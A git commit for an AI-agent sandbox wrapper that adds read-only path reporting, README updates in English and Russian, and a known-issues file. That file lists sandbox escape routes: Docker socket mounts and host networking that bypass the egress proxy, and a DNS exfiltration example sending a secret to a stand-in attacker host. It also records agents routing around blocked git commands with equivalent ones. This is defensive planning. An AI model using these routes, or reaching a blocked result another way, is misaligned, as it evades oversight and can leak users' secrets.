Report read-only paths after a session; known issues document

- run (on exit) and doctor scan the OpenCode log for 'Read-only file system' / EROFS, map
  the agent's XDG mirror back to the home directory and print a ready OCSB_RW_HOME line;
  writable, hidden and protected project paths are skipped
- docs/known-issues.md: open gaps and planned work (Docker, blocklist egress, DNS, shared
  network namespace, resource limits, undo, planted repos, credentials, agents working
  around guards); linked from both READMEs
This commit is contained in:
2026-10-30 05:52:37 -07:00
parent a516ecf744
commit 55d217e3cf
5 changed files with 116 additions and 3 deletions
+3 -1
View File
@@ -271,6 +271,8 @@ OpenCode runs with this group, so the agent and everything it starts are covered
## Security model and limits
Open gaps and planned work: [docs/known-issues.md](docs/known-issues.md).
The goal is to contain an agent that makes mistakes — wrong paths, `rm -rf` in the wrong
place, requests to production — not to hold a determined attacker.
@@ -295,7 +297,7 @@ place, requests to production — not to hold a determined attacker.
| Symptom | Cause and fix |
|---|---|
| `Read-only file system` | path outside the writable set. Add it to `OCSB_RW` if the agent really needs it |
| `Read-only file system`, an MCP server or tool fails to start | path outside the writable set. After each session (and in `doctor`) `run` lists the read-only paths found in the OpenCode log with a ready line, e.g. `OCSB_RW_HOME+=(.local/share/pnpm)`; add it to `sandbox.conf` (or `local/sandbox.conf`) and restart. Elsewhere: `OCSB_RW`, if the agent really needs it |
| proxy `403`, `CONNECT tunnel failed` | host not allowed: add `allow` (or `connect host:port` for non-443) to `egress.conf`, run `opencode-sandbox egress up` |
| git over SSH: `Permission denied (publickey)` | no keys in ssh-agent: `ssh-add` before `run` |
| git over SSH: `403` | add `connect <host>:<port>` to `egress.conf` |
+3 -1
View File
@@ -270,6 +270,8 @@ opencode-sandbox run
## Модель безопасности и ограничения
Открытые проблемы и планы (на английском): [docs/known-issues.md](docs/known-issues.md).
Цель — удержать агента, который ошибается (не тот путь, `rm -rf` не там, запрос в прод), а
не остановить целенаправленного злоумышленника.
@@ -296,7 +298,7 @@ opencode-sandbox run
| Симптом | Причина и что делать |
|---|---|
| `Read-only file system` | путь вне разрешённых на запись. Если агенту он правда нужен — добавьте в `OCSB_RW` |
| `Read-only file system`, не стартует MCP-сервер или инструмент | путь вне разрешённых на запись. После каждой сессии (и в `doctor`) `run` перечисляет пути, упёршиеся в «только чтение», из лога OpenCode с готовой строкой, например `OCSB_RW_HOME+=(.local/share/pnpm)`; добавьте её в `sandbox.conf` (или `local/sandbox.conf`) и перезапустите. Остальное — `OCSB_RW`, если агенту путь правда нужен |
| `403` от прокси, `CONNECT tunnel failed` | хост не разрешён: добавьте `allow` (или `connect host:port` для порта не 443) в `egress.conf`, выполните `opencode-sandbox egress up` |
| git по SSH: `Permission denied (publickey)` | в ssh-agent нет ключей: `ssh-add` перед `run` |
| git по SSH: `403` | добавьте `connect <хост>:<порт>` в `egress.conf` |
+58
View File
@@ -0,0 +1,58 @@
# Known issues and deferred work
Gaps that are known and not closed yet, roughly by impact. The design goal is unchanged:
contain an agent that makes mistakes, not stop a determined attacker. See also
[Security model and limits](../README.md#security-model-and-limits).
## Security
- **Docker is a way out — of the filesystem and of the egress filter.** The agent talks to the
host's Docker socket: `docker run -v /:/host` sees the whole host, and containers are started
by dockerd, not by a process in the netlock group, so `docker run --network host` reaches the
internet without squid (the proxy in `DOCKER_CONFIG` is only a default).
*Plan:* a filtering proxy in front of the socket — no bind mounts outside the project and
worktrees, no `--privileged`, no `--network host`, containers only on a network whose only
way out is squid. Alternative: rootless Docker/Podman for the agent.
- **Egress is a blocklist.** Everything not blocked is allowed, so data can leave to any site,
not only to "allowed" hosts. *Option:* keep reads (GET/HEAD/CONNECT for known hosts) open and
allow writes (POST/PUT/PATCH) only to listed hosts; squid can match methods. An `allow-only`
mode for strict projects.
- **DNS is a side channel.** netlock lets the group reach the resolvers from `resolv.conf`
(usually `127.0.0.53`, which resolves anything), so `dig $(secret).evil.example` leaves
without the proxy. The agent does not need DNS — HTTP(S) and SSH go through the proxy.
*Plan:* drop the DNS rules from netlock (or allow DNS only to a resolver in the egress
container that answers for allowed names).
- **Shared network namespace.** Services on the host's `127.0.0.1` (dev databases, other dev
servers, debug ports) and abstract unix sockets (`@/tmp/.X11-unix/X0`, ICE, some desktop apps)
are reachable even with a private `/tmp`. Only `--unshare-net` plus a proxy socket (pasta /
slirp4netns) closes this, and then the agent loses direct access to its own stacks' ports.
- **No resource limits.** A fork bomb or an unbounded build can freeze the machine.
*Plan:* start the sandbox in `systemd-run --user --scope -p MemoryMax=… -p TasksMax=… -p
CPUWeight=…` (from the host side, before bwrap), configurable in `sandbox.conf`.
- **No undo for uncommitted work.** cc-safety-net blocks the common destructive git commands,
but the agent's own file tools overwrite anything in the project. *Option:* periodic
snapshots (`git stash create` stored under a private ref, or btrfs snapshots where available).
- **Planted repositories are detected, not prevented.** A `.git` the agent creates in a new
directory or a new worktree is reported after the session (`run`, `doctor`); a shell prompt
running `git status` there before the report still runs its config.
- **Credentials given to the agent are not scoped by the sandbox.** Tokens in `OCSB_ENV_FILE`
and the kubeconfig in `OCSB_KUBECONFIG` work with their full rights. Use the narrowest token
scopes; consider `ask` permissions for destructive CLI calls (`kubectl delete`, …).
## Agent behaviour
- **The agent works around blocks with equivalent commands** (e.g. `git show ref:path > path`
after `git checkout ref -- path` was blocked). *Plan:* a line in `opencode/AGENTS.md` — when a
guard blocks a command, do not reach the same result another way; explain the need to the
user. And avoid guards with an obvious equivalent: per-file `checkout`/`restore` rules of
cc-safety-net protect nothing while the file tools are allowed — candidates for the template's
`overrides` (`git.checkout-ref-path`, `git.checkout-double-dash`, `git.restore-unstaged`).
## Usability
- **Read-only paths for new tools.** `run` and `doctor` now report paths from the OpenCode log
that hit "Read-only file system", with a ready `OCSB_RW_HOME+=(…)` line. Tools that only print
the error to a terminal (bash tool output) are not in that log and are not reported.
- **First start of uvx/npx MCP servers can exceed OpenCode's connect timeout** while packages
download through the proxy; a second start uses the cache. Projects may raise `timeout` for
such servers.
+1
View File
@@ -34,6 +34,7 @@ ocsb_doctor() {
ocsb_egress status
source "${OCSB_HOME}/lib/run.sh"
if ocsb_git_audit; then echo " ✓ no planted git metadata in the project and worktrees"; else fail=1; fi
ocsb_erofs_report
else
echo "Project: none here (opencode-sandbox init)"
fi
+51 -1
View File
@@ -170,6 +170,54 @@ ocsb_git_audit() {
return 1
}
# Paths the session could not write to (tools log "Read-only file system" / EROFS): mapped
# back from the agent's XDG mirror to the user's home and reported with a ready config line.
# Paths already writable, deliberately hidden, or inside the project (protected) are skipped.
# ocsb_erofs_report [byte offset into the OpenCode log]
ocsb_erofs_report() {
local log=${OCSB_STATE_DIR}/data/opencode/log/opencode.log from=${1:-0} s=${OCSB_STATE_DIR}
local p rel n out=() seen=" " skip
[[ -f ${log} ]] || return 0
(($(stat -c %s "${log}") >= from)) || from=0
while IFS= read -r p; do
case ${p} in
"${s}/data/"*) rel=.local/share/${p#"${s}/data/"} ;;
"${s}/state/"*) rel=.local/state/${p#"${s}/state/"} ;;
"${s}/config/"*) rel=.config/${p#"${s}/config/"} ;;
"${s}/cache/"*) rel=.cache/${p#"${s}/cache/"} ;;
"${OCSB_PROJECT_DIR}"/* | "${OCSB_WORKTREES_DIR}"/* | "${s}"/*) continue ;;
"${HOME}"/*) rel=${p#"${HOME}/"} ;;
*) rel=/${p#/} ;;
esac
# The directory to open: ~/.local/share/<tool>, ~/.local/bin, ~/.config/<tool>, ~/.<tool>
case ${rel} in
/*) rel=$(cut -d/ -f1-3 <<<"${rel}") ;;
.local/share/* | .local/state/*) rel=$(cut -d/ -f1-3 <<<"${rel}") ;;
.local/* | .config/*) rel=$(cut -d/ -f1-2 <<<"${rel}") ;;
*) rel=${rel%%/*} ;;
esac
rel=${rel%/.tmp*}
skip=0
for n in "${OCSB_RW_HOME[@]}" "${OCSB_HIDE_HOME[@]}"; do
[[ ${rel} == "${n}" || ${rel} == "${n}"/* ]] && skip=1
done
[[ ${skip} == 1 || ${seen} == *" ${rel} "* ]] && continue
seen+="${rel} "
out+=("${rel}")
done < <(tail -c +"$((from + 1))" "${log}" | grep -E 'Read-only file system|EROFS' |
sed -E 's/ (directory|cwd|path\.cwd)=[^ ]*//g' | grep -oE '/[A-Za-z0-9._@+/-]+' | grep -E "^(${HOME}|/opt|/usr/local|/var)/" | sort -u)
((${#out[@]} == 0)) && return 0
ocsb_warn "the session hit read-only paths (a tool or MCP server may have failed):"
for rel in "${out[@]}"; do
if [[ ${rel} == /* ]]; then
printf ' %s → if needed: OCSB_RW+=(%s)\n' "${rel}" "${rel}" >&2
else
printf ' ~/%s → OCSB_RW_HOME+=(%s)\n' "${rel}" "${rel}" >&2
fi
done
echo " add the line to .opencode-sandbox/sandbox.conf (or local/sandbox.conf just for you) and restart" >&2
}
# bubblewrap arguments for the sandbox (variant: read-only host, writable project)
ocsb_bwrap_args() {
local p f uid
@@ -310,7 +358,9 @@ ocsb_run() {
fi
ocsb_bwrap_args
# On any exit (Ctrl-C too): stop the bus proxy, look for what the session planted
trap 'kill "${OCSB_DBUS_PROXY_PID:-}" 2>/dev/null; ocsb_git_audit || true' EXIT
# (global: the trap runs after this function has returned)
OCSB_LOG_START=$(stat -c %s "${OCSB_STATE_DIR}/data/opencode/log/opencode.log" 2>/dev/null || echo 0)
trap 'kill "${OCSB_DBUS_PROXY_PID:-}" 2>/dev/null; ocsb_git_audit || true; ocsb_erofs_report "${OCSB_LOG_START}"' EXIT
cmd=(bwrap "${OCSB_BWRAP[@]}" -- "${cmd[@]}")
# No permission prompts in the sandbox: permission rules from all configs form one
# list, the last match wins, and OPENCODE_CONFIG_CONTENT is the last document.